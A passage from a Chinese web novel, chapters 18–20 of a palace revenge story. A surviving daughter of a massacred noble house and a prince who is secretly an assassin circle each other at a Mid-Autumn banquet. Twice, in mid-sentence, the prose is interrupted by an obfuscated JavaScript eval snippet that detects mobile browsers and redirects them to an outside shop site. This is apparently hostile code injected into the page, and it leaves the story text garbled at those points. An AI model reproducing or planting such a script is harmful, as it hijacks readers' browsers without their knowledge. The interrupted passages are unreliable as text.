“我不希望我的妻子,她的手上沾满了鲜血。” 他眼底容不得半点沙子,这段时间,心里十分纠结,一向温婉的妻子,没想到背后的真相却是这样。 “我们还有女儿啊,轩哥,就算不是为了我,你也应该想想静宜,她才十岁不到。”淑宁苦苦挽留,这辈子,她从未向任何一个人如此低声下气过。 齐庭轩沉默了许久,长叹口气:“就是因为考虑到静宜,所以我才睡书房冷静冷静。” 他顿了顿:“静宜如果知道真相,她是不会希望有你这样的母亲的。”说完,他便转身离去。 只留下淑宁一个人,空荡荡的公主府,瞬间觉得冷清了不少。 “我没有错,如果重来一次,我还是会这样做的,轩哥。” ...... 刚才见到淑宁的那刻,他的脑中突然闪过一个片段,“雪微,难道真的没死吗?也许,她掉下悬崖,被人救活了呢?” “这也不是没有可能。” 他想了许久,从淑宁中邪,梦中梦到林雪微,还有这次晕倒在宁王府门口,这一切事件的背后,总有一双无形的手,在推动着它们的发生。 他们到底想做些什么,还是想为宁王复仇,齐庭轩的心里充满了疑惑。 最近,京城也不是很太平,李侯上吊自杀,太傅叶肃的儿子叶宏被人炼制成为了蛊人以及有人把二十一具死尸挂在太傅府邸,这些事一件接着一件的发生,齐庭轩隐约之间,总觉得,这些事的背后,隐藏着一个巨大的阴谋。 “李侯上吊说是为了思念他的夫人林雪柔,叶肃的儿子叶宏到底被何人炼制成为蛊人呢?” “还有那二十一具死尸,到底是什么人挂在太傅府邸门前,他们跟叶肃到底有什么恩怨。” 齐庭轩思索了片刻,这些看起来似乎没有什么关联,但是把他们串联起来,却都是指向宁王府。 “林雪柔是宁王的大女儿,叶肃是宁王的徒弟,淑宁间接害死了林雪微。”他们之间到底隐藏着什么秘密。 齐庭轩看向窗外,沉默了许久。 18. 任务 十一捂住胸口,胸口处的蛊虫在不停的跳动,他浅浅笑了笑,每当雪微寻找他的时候,就会晃动手中的银镯,激活银镯中的母蛊。 “你找我有什么事?”十一看着雪微那张疏离淡漠的神情,每次见到她,她脸上的表情都是如此冷漠,似乎没有什么东西能够激起她内心的波澜。 “我考虑了下,眼下有一个任务,如果你完成的让我满意,我就同意与你合作。”雪微轻微扫了一眼十一,看着十一紧绷的身子,轻轻拍了拍他的肩膀:“放心。” 她笑了笑:“娴妃娘娘莫珂乃是莫家的庶女,虽然她只不过是个庶女,却顶替了嫡女嫁给了当今圣上,以她的手段,她一定会扶持自己的亲儿子上位。” 她顿了顿,又道:“传闻莫族族长莫寒松雷厉风行,杀伐果断,十七岁便凭借一己之力,扫除各大阻碍,牢牢的把家族掌握在自己的手中,他的生意遍布各地,乃是西晋数一数二的富商,但却没有人真正见过他的样貌。” “我想知道,莫家在每个城市的据点以及他背后的势力范围。”雪微看着十一那张冷峻的容颜,对着十一说道:“这个对你来说,应该不算很难吧?” “莫家。”十一道:“七杀殿的情报网不是很厉害的吗?怎么探查不出来这些?” “七杀殿的情报网是很厉害,但是莫家也不简单,每一位进入莫家之人,他们的身上都种有一线牵,这种秘制的蛊毒的解药只有莫家才有。”雪微走到十一身旁,拉起十一的右手手腕。 一条红色的细线若隐若现的在十一的手腕上闪动,十一眉头微皱,“被种下一线牵的滋味不好受吧。” “确实不好受。” 一线牵是莫家为了控制杀手特制的蛊毒,这种蛊毒有一个特点就是每个月的十五,如果不服用解药,那么蛊虫将会随着血液在体内到处蹿动,虽不致命,但生不如死。 十一有幸体验过一次,那种感觉至今难忘,浑身血管爆动,像随时要爆掉似的,生与死往往都在一念之间,熬不过去的,都会选择在蛊毒即将发作时,就选择自杀,以寻求解脱。 “如果我说,我有办法解除你身体里的一线牵呢?”雪微看着十一那双漆黑的眼眸,微微一笑。 “一线牵可是莫家独门特制的蛊毒,种下之后,无解,天底下只有莫家才有克制它唯一的解药,我还从未听说过谁有办法解除一线牵的?”十一一脸质疑的看着雪微,“你说你可以解除我身体里的一线牵,是真的吗?” 雪微长叹了一口气,“既然你不相信,那我也没有办法。” “我不是这个意思,我只是觉得这种蛊毒是没有解药的,所以心里早就对解毒之事没抱有什么期望。”十一神色凝重的看着雪微,解释道:“我当然是相信你的。” 二人视线短暂相交,十一飞速的低下了头,也知不知为何,每次与她待在一起,十一的心都会扑通扑通的直跳。 “你放心,你交代给我的事,我一定会完成的。”说完,十一快速的消失在雪微的面前。 一束光线从窗户里射入书房,十一双手背在身后,银色的面具沐浴在阳光之下,散发着刺眼的光芒。 “王爷,我们真的要帮那个女人调查莫家之事吗?”子昂心里愤愤不平,莫家可是西晋的首富,背后的势力,深不可测,这个女人明显就是把公子往火坑里推。 十一看着窗外,沉思了许久,开口道:“莫家之事,本王自有安排。” 他自小被莫家安排在深山里面秘密训练,记忆中,山里瘴气丛生,四处都是蛇虫鼠蚁,他们穿梭在这些密林之中,来回互相残杀。 有一次,十一从蛇口救下一个同伴,却没曾想到,被这个同伴从身后捅了一刀,差点丢失了性命。 自此,十一警告自己,作为一名杀手,是不能心软的,心软只会害死自己。看着同伴一个个的倒在自己的面前,十一的心,冷得出奇。 身体里的一线牵好久都没有发作了,也不知是不是和噬魂蛊有关,十一不由自主的摸了摸胸口,他的心脏自小与旁人不同,别人的心脏是长在左边,而他的心脏却长在右边。 “王爷,莫家防守深严,我们连进入都很难,更何况去里面探查情报?”子昂再一次的劝说十一,他不希望十一替一个陌生女子冒险,因为不值得,得罪莫家对殿下未来重新掌权没有好处。 “子昂,本王做事情自然有本王的道理。”他对着子昂说道:“我想静一静,你先下去吧。” 他并没有把他在莫家当杀手的事情告诉子昂,毕竟有些事情还是不能告诉他们这些人的,知道的越少,越好。 十一行踏至望月轩,这是他以庆安王的身份第一次踏入这里,雪微站在竹亭抬头静静的看着月亮,月色洒落下来,似乎给她的身上额外披上了一层薄薄的云纱,十一呆呆的看着这一切,看迷了眼。 “仙女姐姐。”他想起了去年冬天,夜闯七杀殿石阵之时,迷迷糊糊之中,眼前出现了一名白衣女子的身影,“我不是仙女,我是死神。” 十一浅浅笑了笑,“是她吗?她会是那个曾经在我濒临死亡之时,在我耳边说话的那个人吗?” 月色下,雪微的身影像极了那个仙女姐姐。 “这么晚了,王爷来望月轩做什么?”一阵冰冷的声音从十一的身后响起,十一恍惚一会,瞬间惊醒:“我......” 十一脑海运转了会,脑海一片空白,不知说些什么? 他轻咳一声:“本王很久没有见到王妃了,便想着来这里看看王妃。”他从未与女子近距离相处过,心里十分紧张,紧张得说话都不知怎么说。 “现在已经看过了,王爷可以走了。”雪微说话依旧冷言冷语,丝毫不留情面。 “奥。”十一行走至门口,突然转身,双眼交汇的那一刻,他心里又惊又喜,心扑通扑通的乱跳不停:“王妃,别误会,本王今日前来,是因为宫里传来旨意,明晚,要本王携带王妃共赴宫宴。” “知道了。” “她还是如此的冷漠,脸上没有任何表情,让人始终琢磨不透。”十一转身,心里不知怎么了,一种失落感瞬间席卷身心。 本来这事,安排下人通传一声即可,可十一偏偏自讨没趣,想到这望月轩亲自告诉她,作为杀手的时候,每次都被她说得无话可说,没想到,作为王爷也是这样。 也许是想捉弄捉弄她,但始终没有逮到机会。 华灯初上,整座庆王府内桂花香扑鼻,今早,府内红色的灯笼高高挂起,一片喜庆。 “少宫主,今日中秋,红袖派人送来了一盒月饼,她说为了避嫌,就不过来了。”锦瑟打开食盒,把月饼一个一个的摆盘,放好。 庆安王府的食材固然很好,但是,当年庆安王中毒一事历历在目,雪微仔细想了想,中毒这事背后肯定不简单,为了避免打草惊蛇,影响自己入京的计划,雪微所幸也没有去追究,只要他们本本份份,大家也就相安无事。 雪微点了点头,每年中秋,兰姨都会亲自做月饼送过来,她喜欢豆沙馅的,兰姨就会特意多做些豆沙馅的。 “她还是这么细心,知道我喜欢什么。” 雪微拿起月饼,轻轻咬了一口,还是那个熟悉的味道,她嘴角上翘,微微笑了笑,兰姨是她在这个世上唯一陪伴着她走到现在的亲人,她的亲人不多,除了兰姨,再就是李玄。 “自从上次一别,好久都没见过玄儿,他这段时间在干什么?”雪微心中略微想了想:“难道他还是在意那件事吗?” 这个世上爱情固然重要,但比爱情重要的还有亲情,雪微觉得这件事早晚都会让李玄知道,但她从未想过李玄会对她有男女之情,这是她无法容忍的。 她觉得自己有些对不起姐姐,不知是哪里做得不对,竟然让李玄产生了误解。 ...... 街道两侧摆满了摊贩,延至小巷,雪微正襟危坐,总感觉马车内气氛十分怪异,有人盯着她,她余光扫了眼庆安王,只见他双目微闭,不知在思索些什么,一阵嘈杂的声音从车外传进雪微的耳中,雪微轻轻的揭开车帘。 空气中弥漫着桂花米酒的香气,让人有些微微发醉。 还未入夜,但街道两侧红色灯笼高高挂起,来往的人群也明显增加,简直比过年还热闹。 一对父母牵着女儿从马车旁走过,雪微看了看,微微有些入迷,十三年前,她八岁,那年中秋节,爹爹与娘亲还有哥哥嫂嫂,全家人也是这样手牵着手,一起在夜市闲逛。 他们喝着甜汤,提着灯笼,坐在路边吃着汤圆与月饼...... “王妃。”十一身子凑了过来,朝着她目光的方向望去,“王妃这是思家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“太傅府邸的二十一具悬挂的死尸,李府的李朔上吊自杀,公主府邸淑宁公主深夜昏倒在宁王府,这一件件的事情,都皆指向十三年前一夜之间被屠杀殆尽的宁王府。” 十一看着雪微那紧绷的身子,“难道,你和十三年前宁王府的惨案有关?” 雪微听到十一的分析,脸色刷的一下,白了,眼前这个人心思缜密,毫无破绽,这些事看起来毫无关联,但细细想来,并把这些事串联到一起,确实都和十三年前宁王府那场惨案有关。 “你想干什么?”雪微的眼底闪过一丝杀气:“知道太多的人,都活不了多久。” “奥。”十一依旧面不改色的笑了笑:“可惜,你错了,本王相信,自己会活很久。”他看着雪微浑身充满杀气的神情,似乎调侃她,以经成为了他人生乐趣之一。 他打了一个哈欠,浑身松弛的坐在座椅上,“你放心,本王不会说出去的。” 他扫了眼雪微:“你是本王的王妃,你要是出事了,本王岂不是也受到了牵扯,所以,本王不仅不会说出去,还会为你保守秘密,替你扫清障碍。” 他笑了笑,继续说道:“你看,本王可是诚意满满,你真的确定不与本王合作?” “我考虑考虑。”雪微双手紧握,刚才一事,确实让她浑身紧绷了起来,敌人的敌人,为何不能做朋友? 她心中叹息,她对眼前这个人一无所知,他来自哪里,想要干些什么,所有的一切似乎已经脱离了她的掌控,这种感觉,让她的心底充满了挑战。 “我是绝对不会让任何人成为我复仇路上的阻碍,谁阻碍我,我就杀了谁。”漆黑冰冷的目光落到十一的身上,雪微警告道:“如果有一天,我发现你成为我复仇路上的阻碍,我也会杀了你。” “本王知道了。”十一继续打趣道:“既然如此,那我们的合作可以正式开始?” 雪微冷哼一声,撇过头去,满脸不屑。 这是第一次被人威胁,雪微心中暗自发誓:“此生,绝不会让第二个人威胁到我,因为能够威胁到我的人,只有死路一条。” 十一看着雪微那张傲慢的神情,其实本无须激怒于她,但是十一每次看到雪微,心里总是痒痒的,忍不住去逗逗她,看着她紧张的神情,人生似乎多了很多乐趣。 这是他从未有过的体验,似乎很有趣。 自从父王母后被王座上的那个男人杀害以后,十一的内心便从此封闭了起来,除了当杀手被迫失去记忆浑浑噩噩的那几年,其余的日子,十一的心,始终都被仇恨包围。 19. 宫宴 中秋家宴是宫内一年举办一次的盛大节日,这一次的宫宴是由沈贵妃亲手安排。雪微心底思索了许久,老朋友相见,自然是有些紧张的,毕竟这个朋友是陪她从小玩到大的,雪微曾经一度把她当作自己的亲姐姐。 只要自己拥有的东西,雪微都会替她准备一份,扪心自问,自己从未亏欠于她。冷若冰霜的神情搭配上她那张精致的脸颊,雪微冷冷的笑了笑,浑身上下散发着一股子寒气。 “雨菲,你还记得我吗?那个曾经惨遭不测,被你亲手推下山崖的雪微。” 那夜,雨下的很大,空中电闪雷鸣,但好在山崖底下是一片密林,八岁的雪微从半空中掉下,身子硬生生的被挂在大树树枝上,浑身上下多处都被骨折,声音嘶哑,悲痛欲绝。 雪微永远都记得那晚雨菲把她推下山崖时,对她说过的话:“你知道吗?我讨厌你,真的很讨厌你,讨厌你的自以为是,讨厌你的优越傲气,我希望你去死。” “只有你死了,我才会从你的阴影里解脱。” 山崖下的风很冷,刮的她什么都听不见,脑中一片空白,她最好的朋友居然联合一个外人要杀她,原来,当真相摆到眼前,这一切,却是如此的难受。 雪微心如死灰,任凭身体不断的往下坠落。 “我早就告诉过你,人心是这个世界上最邪恶的东西,你真的会以为你的姐妹看到你落魄了,还会伸出援手帮助你吗?”冷禅衣冷冷的看着雪微这幅破败的身子,脸上没有一丝温情。 “我救了你的命,从今以后,你将为我所用,被我驱使。” 雪微眼神呆滞的看着眼前的这一切,亲人惨遭屠杀,现如今,自己又被好姐妹背叛,这一件一件的事情串联在一起,看起来似乎是一个巨大的阴谋。 本来如死灰的心,在冷禅衣的讽刺下,反倒渐渐生出了火焰,“我要活着,我要活下去,替我的族人,以及宁王府三百多口人报仇。” 熊熊的大火燃烧了整整一夜,整座宁王府连带着三百多口人,一夜之间化为灰烬,在雨水的冲击下,连骨灰都化为乌有。 “老天爷,我宁王府到底得罪了什么人,为什么要我承受这么大的代价,那可是三百多条人命啊。” 她的身体躺在床上瑟瑟发抖,不是因为冷,只是因为心寒。 “你知道宁王得罪了什么人吗?”冷禅衣看着雪微,“功高震主,树大招风,想致宁王于死地的人,太多了。” 她叹惜一番,有种为英雄折落,感到悲伤,“宁王曾经在我困难的时候帮助过我,你是他的女儿,所以,我也救下了你的命,算是报恩了。” “你不需要感恩于我,你只需要记得,你的仇人是当今那个高高坐在王位上的那个男人。” “你要杀了他,为你的父母,你的族人报仇。” 雪微死死盯着眼前这个女人,她的脸上有一道长长的伤疤,伤疤所到之处,周围都布满了青筋,看起来,十分吓人。 她来不及多想,身体里的疼痛就已经让她痛彻心扉,有种濒临死亡的感觉,“我这是要死了吗?” 紧接着,鲜血从胃里翻涌了上来,“不......你不会死的。”冷禅衣输送一把真气到雪微脆弱的身体里:“我不会让你死的。” “我不能死,我得报仇。”雪微咬牙切齿的从牙缝中蹦出这几个字。 冷禅衣一听,神色笑了笑:“放心,你不会死的,你一定会替你的族人报仇雪恨的。” “要杀了王座上的那个男人,他才是造成你们林家覆灭的罪魁祸首。” 十三年过去了,当年发生的那一切,雪微都记得一清二楚,火红色的火光,染满了半边天,甚至连空气之中,都参杂了族人身体烧焦的味道。 雪微至今记忆犹新,那股子烧焦的气味,永生都无法忘怀。 “王妃。”十一富有磁性的声音像电流般直击耳膜,雪微回过神来,把自己的右手搭在十一的手掌上,他的手掌温暖而有力,但掌心之中却长满了厚厚的茧。 “左手掌心有茧,想必是经常握剑柄所致。”雪微心底十分清楚,这种厚厚的茧只有经常习剑所致,“他是一名使用左手执剑的剑客。” 雪微心里想了想,这世上能够使用左手执剑的人并不多,你到底是什么人,总有一天,我会把你查出来的。 “放开我。” 十一紧紧的握住雪微的右手,任凭她怎么挣扎都不放开,雪微恼羞成怒,准备把十一的手震开,但十一也不是好惹的,二人一来一回,雪微只能勉强,她努力的平复自己的情绪,并且告诉自己,“今日有要事要办,先不与他计较,咱们来日方长,总有一天,我要把这口气讨回来。” 她被十一拉着,十分不情愿的往前方走,这是她第二次来王宫,今晚的王宫,灯火通明,十分的喜庆,宫女们端着一道道精致的菜肴,轮番上场,色彩鲜艳,香气扑鼻。 每一份菜肴都像一件艺术品般,摆在案台上,光看上去,就让人觉得色香味俱全,不愧是皇家盛宴。 雪微抬头,朝着上方正襟端坐的王上看了看,小的时候,他曾经把雪微抱在怀中,跟她一遍又一遍的讲着父亲与他的故事。 一次战役,他身陷囹圄,被围困惨遭不测,是父亲生死相护,拼死厮杀才把他从战场上救了回来,自此,他和父亲便称兄道弟,二人结义,竟没想到,最后,他登上王位之后,会亲手杀了自己的兄弟。 欲加之罪,何患无辞。 “皇伯父,你杀了父亲,你可曾后悔。” “你虽然拥有了至高无上的权利,可是身边却再也没有一个可以值得信任的人了。” 雪微微微笑了笑,目光落到一旁的沈贵妃身上,“沈雨菲,你推我坠入悬崖的时候,可曾想过,我会活着回来。” 有时候想想,会觉得真的很讽刺,如果你知道我会活着回来,应该不会放过我吧。 那么如今,我也是一样。 众人你一言我一语的,纷纷对庆安王以及雪微投以漠视,也是,作为一个瘫痪在床却突然醒来的皇子,再加上他已经娶了敌国的公主,那么他将彻底与王位无缘,因为王室的血统必须纯正。 雪微对此感到很庆幸,因为他们的漠视,只会让她觉得更加的自在,“总有一天,我会亲自站在你的面前,让你亲自向父亲谢罪。” 宴会进行到一半,沈雨菲突然离席,雪微心中觉得有些奇怪,她起身,只见十一用一种奇怪的眼神正打量着她,“王妃这是要去哪?” 雪微觉得此人甚为无赖,便不想搭理,径直的从十一的身旁走过,寒气逼人,十一端起酒杯一饮而尽。 “她去哪了?” 锦瑟朝着前面那个方向指了指,“沈雨菲,我想要看看你到底想要干什么?” 刚才在宴席上,雪微亲眼看着沈雨菲与太子二人眼神相交,也不知是自己微醺还是怎么了,直觉告诉她,这二人的关系不一般。 “菲儿,我来了。”宇文昭推门而入,紧紧的拥抱着沈雨菲,“一个月未见,我真的好想你。” 正准备亲吻时,沈雨菲别过头,“阿昭,我有要事找你。” 宇文昭心底如同火苗般蹿动,“不急,我们先把正事干了。” “阿昭。” “你放开我。”沈雨菲猛的用力扇了宇文昭一巴掌,她看着宇文昭那张微醺的脸,红彤彤的,努力克制自己心中的欲望:“阿昭,我没打疼你吧。” “不疼。”宇文昭摇了摇头,他看着沈雨菲充满怒意的神情,心中不安道:“你找我有什么事?” “这叫朱砂泪。”沈雨菲拿出一个琉璃瓶,嘴角微微翘起,笑了笑:“我要你派人进入公主府,把这瓶毒液放进淑宁公主日常的饮食之中。” 宇文昭呆呆的看着眼前的这个女子,眉头微皱:“淑宁是我的皇妹,她怎么得罪你了?”他不明白雨菲为什么要杀淑宁,但作为长兄,实在是不希望妹妹受到伤害。 “阿昭,你不是答应过我,不管我做任何事,都不会质疑我吗?怎么现在,你想反悔了?”沈雨菲凝视着宇文昭,“我说过,你如果想要得到我,那么,你便要听我的。” 她轻轻吻了吻宇文昭那张充满酒气的嘴唇,手指从脸颊划落到宇文昭滚动的喉结上,“放心,她不会死的,我只是让她在床上多躺几日,不要来妨碍我的事而已。” “阿昭。”她有些喘息道:“她是你的妹妹,我怎么会害他呢?” 十一从身后冒了出来,打趣道:“原来王妃有观看别人床笫之事的爱好啊。”雪微侧头,心脏怦怦狂跳,正准备出击之时,十一拉着雪微的手。 “谁......谁在门外?”沈雨菲慌乱之中,捡起地上的衣服套在身上,左右望了望,“难道刚才发出的声音,是我听错了?” “菲儿,这偏僻的宫殿怎么会有人前来呢?你肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892841|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多心了。”宇文昭眯着双眼,微微一笑。 “菲儿,一个月未见,我真的好想你。” 她紧闭双眼,张嘴呻吟着,尽情的享受着这一切。 疯狂,刺激,沈雨菲知道她不爱这个男人,之所以假装爱他,只不过是知道,只要王后在位一天,那么她就永远无法当王后,即使王后不在了,王上也不会立她为王后。 既然如此,就不能怪她,为自己谋求后路了。 “你为什么把我拉走。”雪微甩开十一的手,有些喘不过气来,她从未与人近距离身体接触过,即便是手拉手也没有,竟没想到,今日,她居然被眼前这个男子拉了两次她的手,雪微心底十分不爽。 “我要是不把你拉走,你刚才就被他们发现了。”十一紧张的解释道,也不知为什么,每次看到这个女子,心脏总会扑通扑通的跳动,难道真的和那噬魂蛊有关吗? “你放心,即使你不拉我走,我也不会让他们发现,反倒是你,为什么一直紧跟着我,简直阴魂不散。”雪微转头看了十一一眼,便径直的朝着宫宴方向走去。 “我......阴魂不散......简直好心被当成驴肝肺。”十一看着雪微远去的背影,低声吐槽道。 宫宴上的歌舞还在继续,雪微刚坐没多久,沈雨菲便回来了,紧接着,太子也缓缓走了过来。 她看着沈雨菲与太子二人眉目传情,心里闪过一番嘲讽:“皇伯父,如果你知道你的好儿子与你的宠妃在一起,你应当如何?” “你会不会很气愤?” 此时,她的心中顿时冒出一个有趣的计划,“看来不用我动手,你们就已经按耐不住了。” 雪微如释重负,本来今晚来宫宴主要是想看看,就只是看看他们这些人而已,竟没想到无意间居然发现此等重大秘密。 “沈雨菲,我的好姐姐。”她看着沈雨菲那张精致的容颜,没想到十三年未见,你居然未曾衰老,竟然还是十三年前那副模样,真是看着就让人觉得恶心。 她拿着案台上的那杯酒,一饮而尽。 “雪微,你看,美不美?”沈雨菲戴着母亲给雪微的传家玉镯,在雪微的面前晃了晃,“伯母对你真好,这么精美绝伦的玉镯都舍得拿出来?” 雪微浅浅笑了笑:“雨菲姐姐,这有什么好羡慕的,这块玉镯本来有一对,大姐出嫁的时候,母亲给了她一只,这一只,母亲就留给了我。” 沈雨菲把玉镯沐浴在阳光下,光线穿透玉镯,映射到肌肤上,似乎白了一圈,“雪微,你快过来看,这真的好神奇啊。” 雪微再次笑了笑,觉得她像是没见过什么好东西似的,“雨菲姐姐,这是母亲的传家宝,羊脂白玉,可以温润肌肤。” “奥。” 这羊脂白玉真是越看越喜爱,沈雨菲心里一顿羡慕,期望着自己不知何时才能拥有这样的一只玉镯。 “除了这个,其它的饰品,任凭你选择。”雪微从沈雨菲的手中夺过玉镯,并用丝巾包好放入木盒之中,锁好。 “这些......这些......”雪微指着案台上的这些饰品,对着沈雨菲说道:“这些都是今早母亲派人送过来的最新的款式,雨菲姐姐要是喜欢,可以挑一些。” “这些再好看,却不如那只羊脂白玉诱人。”雨菲嘀咕,叹惜一番,转头微笑道:“雪微妹妹,你送给我的东西已经够多了,多的都戴不完了。” “这些,你就自己留着吧,我就不需要了。”她摇了摇头,心里一阵失落。 “十三年过去了,为什么当初我就没看清楚你的为人呢?沈雨菲,我的好姐姐。”雪微心底咬牙切齿,“那些年,你赐给我的痛苦,时至今日,记忆犹新。” “庆安王妃,我们认识吗?”沈雨菲的目光落到了雪微的身上,她眉眼微笑道:“本宫见你刚刚一直看着我。” “贵妃,天人多姿,竟没想到,我居然看入迷了。” “呵......呵......呵......” “王妃真会说话。”沈雨菲右手抚摸着脸颊,微微低头。 “有机会,王妃可以多来本宫宫里坐坐,到时候,本宫也传授传授你一些经验。” 雪微微微点头,既然你都已经相邀,那么正中我意。 她笑了笑,转头,正见十一若有所思的打量着她,神情十分尴尬。 “这人莫不是脑子不正常?” 20. 忐忑 “姑娘,没想到你居然是庆安王王妃,请恕在下眼拙。”齐庭轩走到雪微身前,面带微笑的看着她。 刚刚在家宴上看到雪薇的时候,齐庭轩就觉得此人有些眼熟,好像在哪里见过,他仔细回想了会,脑中顿时出现一个女子的画像,没想到她居然会是庆安王王妃。 “你与五嫂,认识?”淑宁公主缓缓走来,她抬头看了一眼雪微,但眼底尽是轻视,心中想了想:“这个女子到底有什么好,为何刚刚在宴席上,轩哥一直盯着她看。” “认......” “不认识。”雪微抢先说道:“淑宁公主说笑了,我怎么会与驸马爷认识呢?” “也是。”淑宁撇了一眼齐庭轩,总觉得他们之间有事情瞒着我,“不认识,不认识怎么会如此默契?难道他们之间有着什么不可告人的事情?”淑宁心中越想越是觉得烦躁不安,她看了眼雪微,再回过头看了看齐庭轩。 从齐庭轩的眼神中,淑宁明显看到了一丝好奇,空气中的氛围越来越紧张,“轩哥这段时间与我分房睡,就已经让我心中愤愤不满了,现如今,这个女人突然出现在轩哥的视线中。” 淑宁顿时觉得自己受到威胁。 “皇妹,不可对你五嫂无礼。”十一眼见二人气氛不对劲,便缓步朝着雪微走了过来,他对着淑宁说道:“这是本王的王妃,本王见不得她受任何委屈。” “既然她是你的王妃,你就应该管好她,不要让她出来勾引别的男人。”淑宁愤愤不平。 “什么勾引?” 齐庭轩一头雾水,解释道:“五王妃曾经救过我一命,救命之恩,应当涌泉相报,淑宁,你误会了,快像五嫂道歉。” “道歉?”淑宁转头看向齐庭轩,她是公主,即使做错了,也从未与任何人道过歉,怎么如今,轩哥居然让我跟这个女人道歉? “救命之恩又怎么样,她救了你,是她应该的。” “你简直无理取闹。”齐庭轩对着雪微以及十一说了声抱歉,摇了摇头,便踱步而去。这么多年以来,淑宁在他的心中都是温柔贤惠,怎么如今,却变成了这样,难道以前的那些美好都是装的吗? 他私底下其实知道淑宁傲慢,但是偶尔傲慢只要不造成很大的影响,他也不会放在心上,反而觉得公主傲慢一些也没什么奇怪,但如今,淑宁每日都会派人盯着他的一举一动,疑神疑鬼的。 齐庭轩只不过是看破不说破,但如今,他累了,谁愿意每天活在被人监视之中,这种以爱为名的做法让他觉得窒息。 “我觉得我们应该好好谈谈。”齐庭轩紧紧的拉住淑宁的手。 “谈谈,怎么谈,你要我给那个女人道歉?”从来都没有人要她跟别人道过歉,她是公主,公主有公主的骄傲,怎么可能给这种打了败仗的战败国的公主道歉,“轩哥,我有我自己的骄傲,我是不可能给那个女人道歉的。” 齐庭轩看着淑宁发狂,沉默了许久,“等你冷静冷静,我们再谈。” 淑宁看着齐庭轩淡漠的神情,心底顿时凉了三分,“这个男人真的是我爱了十年的男人吗?为了他,我杀了林雪微,手上染满了鲜血,可如今,他却冷眼旁观,心里难道就没有丝毫波澜吗?” “还是他从未真正的爱过我?” “你放开我。”淑宁使劲的甩开齐庭轩紧紧握着的手腕,警告道:“你要是再不放开我,我就咬到你放开。” 齐庭轩依旧淡漠的看着她,脸上没有任何的表情。 “你放开我。”淑宁朝着齐庭轩的手臂咬了下去,血腥味涌满整个口腔,齐庭轩的手臂上顿时出现了一排牙印。 “你闹够了没有。” 比起吵闹,让淑宁感到更加绝望的是齐庭轩冷漠的态度。 这就是她选择的男人,淑宁笑了笑,眼神中尽是绝望。 一旁的角落中,雪微静静的观看着眼前的这一幕:“抢了别人的东西,终究是要还的。” “王妃看够了没有,看够了,我们可以回去了吧。”十一慵懒的调侃道,这个女子绕了这么一大圈,绕来绕去,最终...... 十一心里琢磨,难道她是宁王府旧人? 如果真要是宁王府旧人,那么到真是可以合作一番,当年宁王府一夜之间惨遭屠杀后,自此便被安上了叛国罪,此事当时闹的沸沸扬扬,只要与宁王有过接触的官员都杀的杀,贬的贬。如今,整个西晋知道真相的怕都没有几个人了。 如果宁王要是没死,今日,怕也是他的仇人吧,如果没有宁王的协助,宇文渊怎么可能登上王位,又怎么可能杀了父王,害了母后。 十一想起宁王的结局,心中顿时感到畅快,林道全,你没有想到吧,你一心拥立的君王,最后却成为灭了你整个林家几百口族人的罪魁祸首,如果你当初知道了,还会选择拥护这样一个冷血薄情的君王上位吗? 他看着雪微的侧脸,心中暗自想道:“她会是林家人吗?” “如果她是林家人,那么等合作完成,等我杀了宇文渊以后,我想,我也会杀了她。” 看着雪微那孤傲的身影,不知怎么了,十一的心中居然有了一丝不舍,但这份不舍很快就被他压了下去。“复仇这条路上,我绝不能让任何情绪干扰我的思考。” ...... 公主府,齐庭轩坐在书房案台前,烛光照射在他的侧脸颊上,伴随着微风摇拽,脑中一个白衣女子的身影始终挥之不去,他恍惚中记得自己即将晕倒之时,眼前走过了一名白衣女子,可是醒来之后,却全然不记得了。 月华公主会不会就是这个白衣女子? 齐庭轩想起了他们第一次见面,月华公主的面容长得和他认识的一个人很相像,那个人,齐庭轩至今都不想提起,因为涉及到一段陈旧的往事。 他心中仔细琢磨了许久,摇头叹惜道:“长得太像了。” “这个世界上真的有长得如此相像的人吗?” 如果不是因为林雪微曾经是他的未婚妻,他有幸见过一面,可能他也不会见到这个人,这个人就是宁王王妃白千雪。 传闻王妃白千雪为人极为低调,不经常抛头露面,所以真正见过她面容的人不多,但这个月华公主看上去却与王妃白千雪有七分神似。 齐庭轩找出一副王妃白千雪的画像,仔细看了看,“确实很相似。” “如果把她们两人放在一起,要说她们没关系,大家应该都不会相信吧。” 他盯着这幅画像,逐渐陷入沉思之中。 重华宫,沈雨菲神色惊慌,刚刚在宫宴上看到月华紧紧的盯着她的时候,她突然觉得这个人的眼神十分的熟悉,她努力的回想,总觉得这个人和她记忆中的那人很相似。 “姨母。”沈雨菲心底慌乱道:“对,她长得很像姨母。” “怎么可能?” “这一切难道真的只是巧合。”沈雨菲努力克制,让自己情绪稍微平复点:“这一定是巧合,她是漠北公主,怎么可能和林家扯上关系。” “一定是我多想了,这段时间以来,操办中秋家宴太过于劳累了。” “等过段时间,我再把她宣到宫里坐坐,一定是我看错了,她长得和姨母一点也不像。” “再说,姨母在十三年前早就死了,怎么可能还活着呢?” 今晚的夜,十分的漫长,十五的月亮总是欠缺了点,不是那么圆。 雪微抬头看了看,脸上挂着安逸的神情,这张长得和母亲七分相似的样貌,今晚应该让一些见到她的人彻夜难眠吧。 “沈雨菲,我的好姐姐,我回来了。” “今晚,我替你解了围,你不应该感谢感谢我吗?”十一每次见到雪微,总是一副欠揍的表情,他自己也不知怎么回事。 雪微转身,平视着十一的双眸,“即使没有你,我也能够全身而退。” 十一眸中带笑,长叹了口气,总是有种自讨没趣。 他凝视着雪微,看了许久,突然开口道:“宁王和你是什么关系?” “宁王?”雪微笑着看着十一:“没关系。” “我一个普通女子,怎么可能跟宁王取得关系,你肯定多想了。” 